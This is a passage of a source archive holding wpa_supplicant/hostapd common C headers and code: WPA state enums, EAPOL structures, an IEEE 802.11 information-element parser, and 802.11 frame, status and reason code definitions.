KEY_MGMT_PSK,
KEY_MGMT_NONE,
KEY_MGMT_802_1X_NO_WPA,
KEY_MGMT_WPA_NONE,
KEY_MGMT_FT_802_1X,
KEY_MGMT_FT_PSK,
KEY_MGMT_802_1X_SHA256,
KEY_MGMT_PSK_SHA256,
KEY_MGMT_WPS
};
/**
* enum wpa_states - wpa_supplicant state
*
* These enumeration values are used to indicate the current wpa_supplicant
* state (wpa_s->wpa_state). The current state can be retrieved with
* wpa_supplicant_get_state() function and the state can be changed by calling
* wpa_supplicant_set_state(). In WPA state machine (wpa.c and preauth.c), the
* wrapper functions wpa_sm_get_state() and wpa_sm_set_state() should be used
* to access the state variable.
*/
enum wpa_states {
/**
* WPA_DISCONNECTED - Disconnected state
*
* This state indicates that client is not associated, but is likely to
* start looking for an access point. This state is entered when a
* connection is lost.
*/
WPA_DISCONNECTED,
/**
* WPA_INACTIVE - Inactive state (wpa_supplicant disabled)
*
* This state is entered if there are no enabled networks in the
* configuration. wpa_supplicant is not trying to associate with a new
* network and external interaction (e.g., ctrl_iface call to add or
* enable a network) is needed to start association.
*/
WPA_INACTIVE,
/**
* WPA_SCANNING - Scanning for a network
*
* This state is entered when wpa_supplicant starts scanning for a
* network.
*/
WPA_SCANNING,
/**
* WPA_AUTHENTICATING - Trying to authenticate with a BSS/SSID
*
* This state is entered when wpa_supplicant has found a suitable BSS
* to authenticate with and the driver is configured to try to
* authenticate with this BSS. This state is used only with drivers
* that use wpa_supplicant as the SME.
*/
WPA_AUTHENTICATING,
/**
* WPA_ASSOCIATING - Trying to associate with a BSS/SSID
*
* This state is entered when wpa_supplicant has found a suitable BSS
* to associate with and the driver is configured to try to associate
* with this BSS in ap_scan=1 mode. When using ap_scan=2 mode, this
* state is entered when the driver is configured to try to associate
* with a network using the configured SSID and security policy.
*/
WPA_ASSOCIATING,
/**
* WPA_ASSOCIATED - Association completed
*
* This state is entered when the driver reports that association has
* been successfully completed with an AP. If IEEE 802.1X is used
* (with or without WPA/WPA2), wpa_supplicant remains in this state
* until the IEEE 802.1X/EAPOL authentication has been completed.
*/
WPA_ASSOCIATED,
/**
* WPA_4WAY_HANDSHAKE - WPA 4-Way Key Handshake in progress
*
* This state is entered when WPA/WPA2 4-Way Handshake is started. In
* case of WPA-PSK, this happens when receiving the first EAPOL-Key
* frame after association. In case of WPA-EAP, this state is entered
* when the IEEE 802.1X/EAPOL authentication has been completed.
*/
WPA_4WAY_HANDSHAKE,
/**
* WPA_GROUP_HANDSHAKE - WPA Group Key Handshake in progress
*
* This state is entered when 4-Way Key Handshake has been completed
* (i.e., when the supplicant sends out message 4/4) and when Group
* Key rekeying is started by the AP (i.e., when supplicant receives
* message 1/2).
*/
WPA_GROUP_HANDSHAKE,
/**
* WPA_COMPLETED - All authentication completed
*
* This state is entered when the full authentication process is
* completed. In case of WPA2, this happens when the 4-Way Handshake is
* successfully completed. With WPA, this state is entered after the
* Group Key Handshake; with IEEE 802.1X (non-WPA) connection is
* completed after dynamic keys are received (or if not used, after
* the EAP authentication has been completed). With static WEP keys and
* plaintext connections, this state is entered when an association
* has been completed.
*
* This state indicates that the supplicant has completed its
* processing for the association phase and that data connection is
* fully configured.
*/
WPA_COMPLETED
};
#define MLME_SETPROTECTION_PROTECT_TYPE_NONE 0
#define MLME_SETPROTECTION_PROTECT_TYPE_RX 1
#define MLME_SETPROTECTION_PROTECT_TYPE_TX 2
#define MLME_SETPROTECTION_PROTECT_TYPE_RX_TX 3
#define MLME_SETPROTECTION_KEY_TYPE_GROUP 0
#define MLME_SETPROTECTION_KEY_TYPE_PAIRWISE 1
/**
* enum mfp_options - Management frame protection (IEEE 802.11w) options
*/
enum mfp_options {
NO_MGMT_FRAME_PROTECTION = 0,
MGMT_FRAME_PROTECTION_OPTIONAL = 1,
MGMT_FRAME_PROTECTION_REQUIRED = 2
};
/**
* enum hostapd_hw_mode - Hardware mode
*/
enum hostapd_hw_mode {
HOSTAPD_MODE_IEEE80211B,
HOSTAPD_MODE_IEEE80211G,
HOSTAPD_MODE_IEEE80211A,
NUM_HOSTAPD_MODES
};
#endif /* DEFS_H */
bully-1.4-00/src/common/eapol_common.h 0000775 0000000 0000000 00000002144 13615304636 0017635 0 ustar 00root root 0000000 0000000 /*
* EAPOL definitions shared between hostapd and wpa_supplicant
* Copyright (c) 2002-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef EAPOL_COMMON_H
#define EAPOL_COMMON_H
/* IEEE Std 802.1X-2004 */
#ifdef _MSC_VER
#pragma pack(push, 1)
#endif /* _MSC_VER */
struct ieee802_1x_hdr {
u8 version;
u8 type;
be16 length;
/* followed by length octets of data */
} STRUCT_PACKED;
#ifdef _MSC_VER
#pragma pack(pop)
#endif /* _MSC_VER */
#define EAPOL_VERSION 2
enum { IEEE802_1X_TYPE_EAP_PACKET = 0,
IEEE802_1X_TYPE_EAPOL_START = 1,
IEEE802_1X_TYPE_EAPOL_LOGOFF = 2,
IEEE802_1X_TYPE_EAPOL_KEY = 3,
IEEE802_1X_TYPE_EAPOL_ENCAPSULATED_ASF_ALERT = 4
};
enum { EAPOL_KEY_TYPE_RC4 = 1, EAPOL_KEY_TYPE_RSN = 2,
EAPOL_KEY_TYPE_WPA = 254 };
#endif /* EAPOL_COMMON_H */
bully-1.4-00/src/common/ieee802_11_common.c 0000775 0000000 0000000 00000016355 13615304636 0020203 0 ustar 00root root 0000000 0000000 /*
* IEEE 802.11 Common routines
* Copyright (c) 2002-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "ieee802_11_defs.h"
#include "ieee802_11_common.h"
static int ieee802_11_parse_vendor_specific(const u8 *pos, size_t elen,
struct ieee802_11_elems *elems,
int show_errors)
{
unsigned int oui;
/* first 3 bytes in vendor specific information element are the IEEE
* OUI of the vendor. The following byte is used a vendor specific
* sub-type. */
if (elen < 4) {
if (show_errors) {
wpa_printf(MSG_MSGDUMP, "short vendor specific "
"information element ignored (len=%lu)",
(unsigned long) elen);
}
return -1;
}
oui = WPA_GET_BE24(pos);
switch (oui) {
case OUI_MICROSOFT:
/* Microsoft/Wi-Fi information elements are further typed and
* subtyped */
switch (pos[3]) {
case 1:
/* Microsoft OUI (00:50:F2) with OUI Type 1:
* real WPA information element */
elems->wpa_ie = pos;
elems->wpa_ie_len = elen;
break;
case WMM_OUI_TYPE:
/* WMM information element */
if (elen < 5) {
wpa_printf(MSG_MSGDUMP, "short WMM "
"information element ignored "
"(len=%lu)",
(unsigned long) elen);
return -1;
}
switch (pos[4]) {
case WMM_OUI_SUBTYPE_INFORMATION_ELEMENT:
case WMM_OUI_SUBTYPE_PARAMETER_ELEMENT:
/*
* Share same pointer since only one of these
* is used and they start with same data.
* Length field can be used to distinguish the
* IEs.
*/
elems->wmm = pos;
elems->wmm_len = elen;
break;
case WMM_OUI_SUBTYPE_TSPEC_ELEMENT:
elems->wmm_tspec = pos;
elems->wmm_tspec_len = elen;
break;
default:
wpa_printf(MSG_MSGDUMP, "unknown WMM "
"information element ignored "
"(subtype=%d len=%lu)",
pos[4], (unsigned long) elen);
return -1;
}
break;
case 4:
/* Wi-Fi Protected Setup (WPS) IE */
elems->wps_ie = pos;
elems->wps_ie_len = elen;
break;
default:
wpa_printf(MSG_MSGDUMP, "Unknown Microsoft "
"information element ignored "
"(type=%d len=%lu)\n",
pos[3], (unsigned long) elen);
return -1;
}
break;
case OUI_BROADCOM:
switch (pos[3]) {
case VENDOR_HT_CAPAB_OUI_TYPE:
elems->vendor_ht_cap = pos;
elems->vendor_ht_cap_len = elen;
break;
default:
wpa_printf(MSG_MSGDUMP, "Unknown Broadcom "
"information element ignored "
"(type=%d len=%lu)\n",
pos[3], (unsigned long) elen);
return -1;
}
break;
default:
wpa_printf(MSG_MSGDUMP, "unknown vendor specific information "
"element ignored (vendor OUI %02x:%02x:%02x "
"len=%lu)",
pos[0], pos[1], pos[2], (unsigned long) elen);
return -1;
}
return 0;
}
/**
* ieee802_11_parse_elems - Parse information elements in management frames
* @start: Pointer to the start of IEs
* @len: Length of IE buffer in octets
* @elems: Data structure for parsed elements
* @show_errors: Whether to show parsing errors in debug log
* Returns: Parsing result
*/
ParseRes ieee802_11_parse_elems(const u8 *start, size_t len,
struct ieee802_11_elems *elems,
int show_errors)
{
size_t left = len;
const u8 *pos = start;
int unknown = 0;
os_memset(elems, 0, sizeof(*elems));
while (left >= 2) {
u8 id, elen;
id = *pos++;
elen = *pos++;
left -= 2;
if (elen > left) {
if (show_errors) {
wpa_printf(MSG_DEBUG, "IEEE 802.11 element "
"parse failed (id=%d elen=%d "
"left=%lu)",
id, elen, (unsigned long) left);
wpa_hexdump(MSG_MSGDUMP, "IEs", start, len);
}
return ParseFailed;
}
switch (id) {
case WLAN_EID_SSID:
elems->ssid = pos;
elems->ssid_len = elen;
break;
case WLAN_EID_SUPP_RATES:
elems->supp_rates = pos;
elems->supp_rates_len = elen;
break;
case WLAN_EID_FH_PARAMS:
elems->fh_params = pos;
elems->fh_params_len = elen;
break;
case WLAN_EID_DS_PARAMS:
elems->ds_params = pos;
elems->ds_params_len = elen;
break;
case WLAN_EID_CF_PARAMS:
elems->cf_params = pos;
elems->cf_params_len = elen;
break;
case WLAN_EID_TIM:
elems->tim = pos;
elems->tim_len = elen;
break;
case WLAN_EID_IBSS_PARAMS:
elems->ibss_params = pos;
elems->ibss_params_len = elen;
break;
case WLAN_EID_CHALLENGE:
elems->challenge = pos;
elems->challenge_len = elen;
break;
case WLAN_EID_ERP_INFO:
elems->erp_info = pos;
elems->erp_info_len = elen;
break;
case WLAN_EID_EXT_SUPP_RATES:
elems->ext_supp_rates = pos;
elems->ext_supp_rates_len = elen;
break;
case WLAN_EID_VENDOR_SPECIFIC:
if (ieee802_11_parse_vendor_specific(pos, elen,
elems,
show_errors))
unknown++;
break;
case WLAN_EID_RSN:
elems->rsn_ie = pos;
elems->rsn_ie_len = elen;
break;
case WLAN_EID_PWR_CAPABILITY:
elems->power_cap = pos;
elems->power_cap_len = elen;
break;
case WLAN_EID_SUPPORTED_CHANNELS:
elems->supp_channels = pos;
elems->supp_channels_len = elen;
break;
case WLAN_EID_MOBILITY_DOMAIN:
elems->mdie = pos;
elems->mdie_len = elen;
break;
case WLAN_EID_FAST_BSS_TRANSITION:
elems->ftie = pos;
elems->ftie_len = elen;
break;
case WLAN_EID_TIMEOUT_INTERVAL:
elems->timeout_int = pos;
elems->timeout_int_len = elen;
break;
case WLAN_EID_HT_CAP:
elems->ht_capabilities = pos;
elems->ht_capabilities_len = elen;
break;
case WLAN_EID_HT_OPERATION:
elems->ht_operation = pos;
elems->ht_operation_len = elen;
break;
default:
unknown++;
if (!show_errors)
break;
wpa_printf(MSG_MSGDUMP, "IEEE 802.11 element parse "
"ignored unknown element (id=%d elen=%d)",
id, elen);
break;
}
left -= elen;
pos += elen;
}
if (left)
return ParseFailed;
return unknown ? ParseUnknown : ParseOK;
}
int ieee802_11_ie_count(const u8 *ies, size_t ies_len)
{
int count = 0;
const u8 *pos, *end;
if (ies == NULL)
return 0;
pos = ies;
end = ies + ies_len;
while (pos + 2 <= end) {
if (pos + 2 + pos[1] > end)
break;
count++;
pos += 2 + pos[1];
}
return count;
}
struct wpabuf * ieee802_11_vendor_ie_concat(const u8 *ies, size_t ies_len,
u32 oui_type)
{
struct wpabuf *buf;
const u8 *end, *pos, *ie;
pos = ies;
end = ies + ies_len;
ie = NULL;
while (pos + 1 < end) {
if (pos + 2 + pos[1] > end)
return NULL;
if (pos[0] == WLAN_EID_VENDOR_SPECIFIC && pos[1] >= 4 &&
WPA_GET_BE32(&pos[2]) == oui_type) {
ie = pos;
break;
}
pos += 2 + pos[1];
}
if (ie == NULL)
return NULL; /* No specified vendor IE found */
buf = wpabuf_alloc(ies_len);
if (buf == NULL)
return NULL;
/*
* There may be multiple vendor IEs in the message, so need to
* concatenate their data fields.
*/
while (pos + 1 < end) {
if (pos + 2 + pos[1] > end)
break;
if (pos[0] == WLAN_EID_VENDOR_SPECIFIC && pos[1] >= 4 &&
WPA_GET_BE32(&pos[2]) == oui_type)
wpabuf_put_data(buf, pos + 6, pos[1] - 4);
pos += 2 + pos[1];
}
return buf;
}
bully-1.4-00/src/common/ieee802_11_common.h 0000775 0000000 0000000 00000003617 13615304636 0020205 0 ustar 00root root 0000000 0000000 /*
* IEEE 802.11 Common routines
* Copyright (c) 2002-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef IEEE802_11_COMMON_H
#define IEEE802_11_COMMON_H
/* Parsed Information Elements */
struct ieee802_11_elems {
const u8 *ssid;
const u8 *supp_rates;
const u8 *fh_params;
const u8 *ds_params;
const u8 *cf_params;
const u8 *tim;
const u8 *ibss_params;
const u8 *challenge;
const u8 *erp_info;
const u8 *ext_supp_rates;
const u8 *wpa_ie;
const u8 *rsn_ie;
const u8 *wmm; /* WMM Information or Parameter Element */
const u8 *wmm_tspec;
const u8 *wps_ie;
const u8 *power_cap;
const u8 *supp_channels;
const u8 *mdie;
const u8 *ftie;
const u8 *timeout_int;
const u8 *ht_capabilities;
const u8 *ht_operation;
const u8 *vendor_ht_cap;
u8 ssid_len;
u8 supp_rates_len;
u8 fh_params_len;
u8 ds_params_len;
u8 cf_params_len;
u8 tim_len;
u8 ibss_params_len;
u8 challenge_len;
u8 erp_info_len;
u8 ext_supp_rates_len;
u8 wpa_ie_len;
u8 rsn_ie_len;
u8 wmm_len; /* 7 = WMM Information; 24 = WMM Parameter */
u8 wmm_tspec_len;
u8 wps_ie_len;
u8 power_cap_len;
u8 supp_channels_len;
u8 mdie_len;
u8 ftie_len;
u8 timeout_int_len;
u8 ht_capabilities_len;
u8 ht_operation_len;
u8 vendor_ht_cap_len;
};
typedef enum { ParseOK = 0, ParseUnknown = 1, ParseFailed = -1 } ParseRes;
ParseRes ieee802_11_parse_elems(const u8 *start, size_t len,
struct ieee802_11_elems *elems,
int show_errors);
int ieee802_11_ie_count(const u8 *ies, size_t ies_len);
struct wpabuf * ieee802_11_vendor_ie_concat(const u8 *ies, size_t ies_len,
u32 oui_type);
#endif /* IEEE802_11_COMMON_H */
bully-1.4-00/src/common/ieee802_11_defs.h 0000775 0000000 0000000 00000045055 13615304636 0017640 0 ustar 00root root 0000000 0000000 /*
* IEEE 802.11 Frame type definitions
* Copyright (c) 2002-2009, Jouni Malinen
* Copyright (c) 2007-2008 Intel Corporation
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef IEEE802_11_DEFS_H
#define IEEE802_11_DEFS_H
/* IEEE 802.11 defines */
#define WLAN_FC_PVER 0x0003
#define WLAN_FC_TODS 0x0100
#define WLAN_FC_FROMDS 0x0200
#define WLAN_FC_MOREFRAG 0x0400
#define WLAN_FC_RETRY 0x0800
#define WLAN_FC_PWRMGT 0x1000
#define WLAN_FC_MOREDATA 0x2000
#define WLAN_FC_ISWEP 0x4000
#define WLAN_FC_ORDER 0x8000
#define WLAN_FC_GET_TYPE(fc) (((fc) & 0x000c) >> 2)
#define WLAN_FC_GET_STYPE(fc) (((fc) & 0x00f0) >> 4)
#define WLAN_GET_SEQ_FRAG(seq) ((seq) & (BIT(3) | BIT(2) | BIT(1) | BIT(0)))
#define WLAN_GET_SEQ_SEQ(seq) \
(((seq) & (~(BIT(3) | BIT(2) | BIT(1) | BIT(0)))) >> 4)
#define WLAN_FC_TYPE_MGMT 0
#define WLAN_FC_TYPE_CTRL 1
#define WLAN_FC_TYPE_DATA 2
/* management */
#define WLAN_FC_STYPE_ASSOC_REQ 0
#define WLAN_FC_STYPE_ASSOC_RESP 1
#define WLAN_FC_STYPE_REASSOC_REQ 2
#define WLAN_FC_STYPE_REASSOC_RESP 3
#define WLAN_FC_STYPE_PROBE_REQ 4
#define WLAN_FC_STYPE_PROBE_RESP 5
#define WLAN_FC_STYPE_BEACON 8
#define WLAN_FC_STYPE_ATIM 9
#define WLAN_FC_STYPE_DISASSOC 10
#define WLAN_FC_STYPE_AUTH 11
#define WLAN_FC_STYPE_DEAUTH 12
#define WLAN_FC_STYPE_ACTION 13
/* control */
#define WLAN_FC_STYPE_PSPOLL 10
#define WLAN_FC_STYPE_RTS 11
#define WLAN_FC_STYPE_CTS 12
#define WLAN_FC_STYPE_ACK 13
#define WLAN_FC_STYPE_CFEND 14
#define WLAN_FC_STYPE_CFENDACK 15
/* data */
#define WLAN_FC_STYPE_DATA 0
#define WLAN_FC_STYPE_DATA_CFACK 1
#define WLAN_FC_STYPE_DATA_CFPOLL 2
#define WLAN_FC_STYPE_DATA_CFACKPOLL 3
#define WLAN_FC_STYPE_NULLFUNC 4
#define WLAN_FC_STYPE_CFACK 5
#define WLAN_FC_STYPE_CFPOLL 6
#define WLAN_FC_STYPE_CFACKPOLL 7
#define WLAN_FC_STYPE_QOS_DATA 8
/* Authentication algorithms */
#define WLAN_AUTH_OPEN 0
#define WLAN_AUTH_SHARED_KEY 1
#define WLAN_AUTH_FT 2
#define WLAN_AUTH_LEAP 128
#define WLAN_AUTH_CHALLENGE_LEN 128
#define WLAN_CAPABILITY_ESS BIT(0)
#define WLAN_CAPABILITY_IBSS BIT(1)
#define WLAN_CAPABILITY_CF_POLLABLE BIT(2)
#define WLAN_CAPABILITY_CF_POLL_REQUEST BIT(3)
#define WLAN_CAPABILITY_PRIVACY BIT(4)
#define WLAN_CAPABILITY_SHORT_PREAMBLE BIT(5)
#define WLAN_CAPABILITY_PBCC BIT(6)
#define WLAN_CAPABILITY_CHANNEL_AGILITY BIT(7)
#define WLAN_CAPABILITY_SPECTRUM_MGMT BIT(8)
#define WLAN_CAPABILITY_SHORT_SLOT_TIME BIT(10)
#define WLAN_CAPABILITY_DSSS_OFDM BIT(13)
/* Status codes (IEEE 802.11-2007, 7.3.1.9, Table 7-23) */
#define WLAN_STATUS_SUCCESS 0
#define WLAN_STATUS_UNSPECIFIED_FAILURE 1
#define WLAN_STATUS_CAPS_UNSUPPORTED 10
#define WLAN_STATUS_REASSOC_NO_ASSOC 11
#define WLAN_STATUS_ASSOC_DENIED_UNSPEC 12
#define WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG 13
#define WLAN_STATUS_UNKNOWN_AUTH_TRANSACTION 14
#define WLAN_STATUS_CHALLENGE_FAIL 15
#define WLAN_STATUS_AUTH_TIMEOUT 16
#define WLAN_STATUS_AP_UNABLE_TO_HANDLE_NEW_STA 17
#define WLAN_STATUS_ASSOC_DENIED_RATES 18
/* IEEE 802.11b */
#define WLAN_STATUS_ASSOC_DENIED_NOSHORT 19
#define WLAN_STATUS_ASSOC_DENIED_NOPBCC 20
#define WLAN_STATUS_ASSOC_DENIED_NOAGILITY 21
/* IEEE 802.11h */
#define WLAN_STATUS_SPEC_MGMT_REQUIRED 22
#define WLAN_STATUS_PWR_CAPABILITY_NOT_VALID 23
#define WLAN_STATUS_SUPPORTED_CHANNEL_NOT_VALID 24
/* IEEE 802.11g */
#define WLAN_STATUS_ASSOC_DENIED_NO_SHORT_SLOT_TIME 25
#define WLAN_STATUS_ASSOC_DENIED_NO_ER_PBCC 26
#define WLAN_STATUS_ASSOC_DENIED_NO_DSSS_OFDM 27
#define WLAN_STATUS_R0KH_UNREACHABLE 28
/* IEEE 802.11w */
#define WLAN_STATUS_ASSOC_REJECTED_TEMPORARILY 30
#define WLAN_STATUS_ROBUST_MGMT_FRAME_POLICY_VIOLATION 31
#define WLAN_STATUS_UNSPECIFIED_QOS_FAILURE 32
#define WLAN_STATUS_REQUEST_DECLINED 37
#define WLAN_STATUS_INVALID_PARAMETERS 38
/* IEEE 802.11i */
#define WLAN_STATUS_INVALID_IE 40
#define WLAN_STATUS_GROUP_CIPHER_NOT_VALID 41
#define WLAN_STATUS_PAIRWISE_CIPHER_NOT_VALID 42
#define WLAN_STATUS_AKMP_NOT_VALID 43
#define WLAN_STATUS_UNSUPPORTED_RSN_IE_VERSION 44
#define WLAN_STATUS_INVALID_RSN_IE_CAPAB 45
#define WLAN_STATUS_CIPHER_REJECTED_PER_POLICY 46
#define WLAN_STATUS_TS_NOT_CREATED 47
#define WLAN_STATUS_DIRECT_LINK_NOT_ALLOWED 48
#define WLAN_STATUS_DEST_STA_NOT_PRESENT 49
#define WLAN_STATUS_DEST_STA_NOT_QOS_STA 50
#define WLAN_STATUS_ASSOC_DENIED_LISTEN_INT_TOO_LARGE 51
/* IEEE 802.11r */
#define WLAN_STATUS_INVALID_FT_ACTION_FRAME_COUNT 52
#define WLAN_STATUS_INVALID_PMKID 53
#define WLAN_STATUS_INVALID_MDIE 54
#define WLAN_STATUS_INVALID_FTIE 55
/* Reason codes (IEEE 802.11-2007, 7.3.1.7, Table 7-22) */
#define WLAN_REASON_UNSPECIFIED 1
#define WLAN_REASON_PREV_AUTH_NOT_VALID 2
#define WLAN_REASON_DEAUTH_LEAVING 3
#define WLAN_REASON_DISASSOC_DUE_TO_INACTIVITY 4
#define WLAN_REASON_DISASSOC_AP_BUSY 5
#define WLAN_REASON_CLASS2_FRAME_FROM_NONAUTH_STA 6
#define WLAN_REASON_CLASS3_FRAME_FROM_NONASSOC_STA 7
#define WLAN_REASON_DISASSOC_STA_HAS_LEFT 8
#define WLAN_REASON_STA_REQ_ASSOC_WITHOUT_AUTH 9
/* IEEE 802.11h */
#define WLAN_REASON_PWR_CAPABILITY_NOT_VALID 10
#define WLAN_REASON_SUPPORTED_CHANNEL_NOT_VALID 11
/* IEEE 802.11i */
#define WLAN_REASON_INVALID_IE 13
#define WLAN_REASON_MICHAEL_MIC_FAILURE 14
#define WLAN_REASON_4WAY_HANDSHAKE_TIMEOUT 15
#define WLAN_REASON_GROUP_KEY_UPDATE_TIMEOUT 16
#define WLAN_REASON_IE_IN_4WAY_DIFFERS 17
#define WLAN_REASON_GROUP_CIPHER_NOT_VALID 18
#define WLAN_REASON_PAIRWISE_CIPHER_NOT_VALID 19
#define WLAN_REASON_AKMP_NOT_VALID 20
#define WLAN_REASON_UNSUPPORTED_RSN_IE_VERSION 21
#define WLAN_REASON_INVALID_RSN_IE_CAPAB 22
#define WLAN_REASON_IEEE_802_1X_AUTH_FAILED 23
#define WLAN_REASON_CIPHER_SUITE_REJECTED 24
/* Information Element IDs */
#define WLAN_EID_SSID 0
#define WLAN_EID_SUPP_RATES 1
#define WLAN_EID_FH_PARAMS 2
#define WLAN_EID_DS_PARAMS 3
#define WLAN_EID_CF_PARAMS 4
#define WLAN_EID_TIM 5
#define WLAN_EID_IBSS_PARAMS 6
#define WLAN_EID_COUNTRY 7
#define WLAN_EID_CHALLENGE 16
/* EIDs defined by IEEE 802.11h - START */
#define WLAN_EID_PWR_CONSTRAINT 32
#define WLAN_EID_PWR_CAPABILITY 33
#define WLAN_EID_TPC_REQUEST 34
#define WLAN_EID_TPC_REPORT 35
#define WLAN_EID_SUPPORTED_CHANNELS 36
#define WLAN_EID_CHANNEL_SWITCH 37
#define WLAN_EID_MEASURE_REQUEST 38
#define WLAN_EID_MEASURE_REPORT 39
#define WLAN_EID_QUITE 40
#define WLAN_EID_IBSS_DFS 41
/* EIDs defined by IEEE 802.11h - END */
#define WLAN_EID_ERP_INFO 42
#define WLAN_EID_HT_CAP 45
#define WLAN_EID_RSN 48
#define WLAN_EID_EXT_SUPP_RATES 50
#define WLAN_EID_MOBILITY_DOMAIN 54
#define WLAN_EID_FAST_BSS_TRANSITION 55
#define WLAN_EID_TIMEOUT_INTERVAL 56
#define WLAN_EID_RIC_DATA 57
#define WLAN_EID_HT_OPERATION 61
#define WLAN_EID_SECONDARY_CHANNEL_OFFSET 62
#define WLAN_EID_20_40_BSS_COEXISTENCE 72
#define WLAN_EID_20_40_BSS_INTOLERANT 73
#define WLAN_EID_OVERLAPPING_BSS_SCAN_PARAMS 74
#define WLAN_EID_MMIE 76
#define WLAN_EID_VENDOR_SPECIFIC 221
/* Action frame categories (IEEE 802.11-2007, 7.3.1.11, Table 7-24) */
#define WLAN_ACTION_SPECTRUM_MGMT 0
#define WLAN_ACTION_QOS 1
#define WLAN_ACTION_DLS 2
#define WLAN_ACTION_BLOCK_ACK 3
#define WLAN_ACTION_PUBLIC 4
#define WLAN_ACTION_RADIO_MEASUREMENT 5
#define WLAN_ACTION_FT 6
#define WLAN_ACTION_HT 7
#define WLAN_ACTION_SA_QUERY 8
#define WLAN_ACTION_WMM 17 /* WMM Specification 1.1 */
/* SA Query Action frame (IEEE 802.11w/D8.0, 7.4.9) */
#define WLAN_SA_QUERY_REQUEST 0
#define WLAN_SA_QUERY_RESPONSE 1
#define WLAN_SA_QUERY_TR_ID_LEN 2
/* Timeout Interval Type */
#define WLAN_TIMEOUT_REASSOC_DEADLINE 1
#define WLAN_TIMEOUT_KEY_LIFETIME 2
#define WLAN_TIMEOUT_ASSOC_COMEBACK 3
#ifdef _MSC_VER
#pragma pack(push, 1)
#endif /* _MSC_VER */
struct ieee80211_hdr {
le16 frame_control;
le16 duration_id;
u8 addr1[6];
u8 addr2[6];
u8 addr3[6];
le16 seq_ctrl;
/* followed by 'u8 addr4[6];' if ToDS and FromDS is set in data frame
*/
} STRUCT_PACKED;
#define IEEE80211_DA_FROMDS addr1
#define IEEE80211_BSSID_FROMDS addr2
#define IEEE80211_SA_FROMDS addr3
#define IEEE80211_HDRLEN (sizeof(struct ieee80211_hdr))
#define IEEE80211_FC(type, stype) host_to_le16((type << 2) | (stype << 4))
struct ieee80211_mgmt {
le16 frame_control;
le16 duration;
u8 da[6];
u8 sa[6];
u8 bssid[6];
le16 seq_ctrl;
union {
struct {
le16 auth_alg;
le16 auth_transaction;
le16 status_code;
/* possibly followed by Challenge text */
u8 variable[0];
} STRUCT_PACKED auth;
struct {
le16 reason_code;
} STRUCT_PACKED deauth;
struct {
le16 capab_info;
le16 listen_interval;
/* followed by SSID and Supported rates */
u8 variable[0];
} STRUCT_PACKED assoc_req;
struct {
le16 capab_info;
le16 status_code;
le16 aid;
/* followed by Supported rates */
u8 variable[0];
} STRUCT_PACKED assoc_resp, reassoc_resp;
struct {
le16 capab_info;
le16 listen_interval;
u8 current_ap[6];
/* followed by SSID and Supported rates */
u8 variable[0];
} STRUCT_PACKED reassoc_req;
struct {
le16 reason_code;
} STRUCT_PACKED disassoc;
struct {
u8 timestamp[8];
le16 beacon_int;
le16 capab_info;
/* followed by some of SSID, Supported rates,
* FH Params, DS Params, CF Params, IBSS Params, TIM */
u8 variable[0];
} STRUCT_PACKED beacon;
struct {
/* only variable items: SSID, Supported rates */
u8 variable[0];
} STRUCT_PACKED probe_req;
struct {
u8 timestamp[8];
le16 beacon_int;
le16 capab_info;
/* followed by some of SSID, Supported rates,
* FH Params, DS Params, CF Params, IBSS Params */
u8 variable[0];
} STRUCT_PACKED probe_resp;
struct {
u8 category;
union {
struct {
u8 action_code;
u8 dialog_token;
u8 status_code;
u8 variable[0];
} STRUCT_PACKED wmm_action;
struct{
u8 action_code;
u8 element_id;
u8 length;
u8 switch_mode;
u8 new_chan;
u8 switch_count;
} STRUCT_PACKED chan_switch;
struct {
u8 action;
u8 sta_addr[ETH_ALEN];
u8 target_ap_addr[ETH_ALEN];
u8 variable[0]; /* FT Request */
} STRUCT_PACKED ft_action_req;
struct {
u8 action;
u8 sta_addr[ETH_ALEN];
u8 target_ap_addr[ETH_ALEN];
le16 status_code;
u8 variable[0]; /* FT Request */
} STRUCT_PACKED ft_action_resp;
struct {
u8 action;
u8 trans_id[WLAN_SA_QUERY_TR_ID_LEN];
} STRUCT_PACKED sa_query_req;
struct {
u8 action; /* */
u8 trans_id[WLAN_SA_QUERY_TR_ID_LEN];
} STRUCT_PACKED sa_query_resp;
} u;
} STRUCT_PACKED action;
} u;
} STRUCT_PACKED;
struct ieee80211_ht_capabilities {
le16 ht_capabilities_info;
u8 a_mpdu_params;
u8 supported_mcs_set[16];
le16 ht_extended_capabilities;
le32 tx_bf_capability_info;
u8 asel_capabilities;
} STRUCT_PACKED;
struct ieee80211_ht_operation {
u8 control_chan;
u8 ht_param;
le16 operation_mode;
le16 stbc_param;
u8 basic_set[16];
} STRUCT_PACKED;
#ifdef _MSC_VER
#pragma pack(pop)
#endif /* _MSC_VER */
#define ERP_INFO_NON_ERP_PRESENT BIT(0)
#define ERP_INFO_USE_PROTECTION BIT(1)
#define ERP_INFO_BARKER_PREAMBLE_MODE BIT(2)
#define HT_CAP_INFO_LDPC_CODING_CAP ((u16) BIT(0))
#define HT_CAP_INFO_SUPP_CHANNEL_WIDTH_SET ((u16) BIT(1))
#define HT_CAP_INFO_SMPS_MASK ((u16) (BIT(2) | BIT(3)))
#define HT_CAP_INFO_SMPS_STATIC ((u16) 0)
#define HT_CAP_INFO_SMPS_DYNAMIC ((u16) BIT(2))
#define HT_CAP_INFO_SMPS_DISABLED ((u16) (BIT(2) | BIT(3)))
#define HT_CAP_INFO_GREEN_FIELD ((u16) BIT(4))
#define HT_CAP_INFO_SHORT_GI20MHZ ((u16) BIT(5))
#define HT_CAP_INFO_SHORT_GI40MHZ ((u16) BIT(6))
#define HT_CAP_INFO_TX_STBC ((u16) BIT(7))
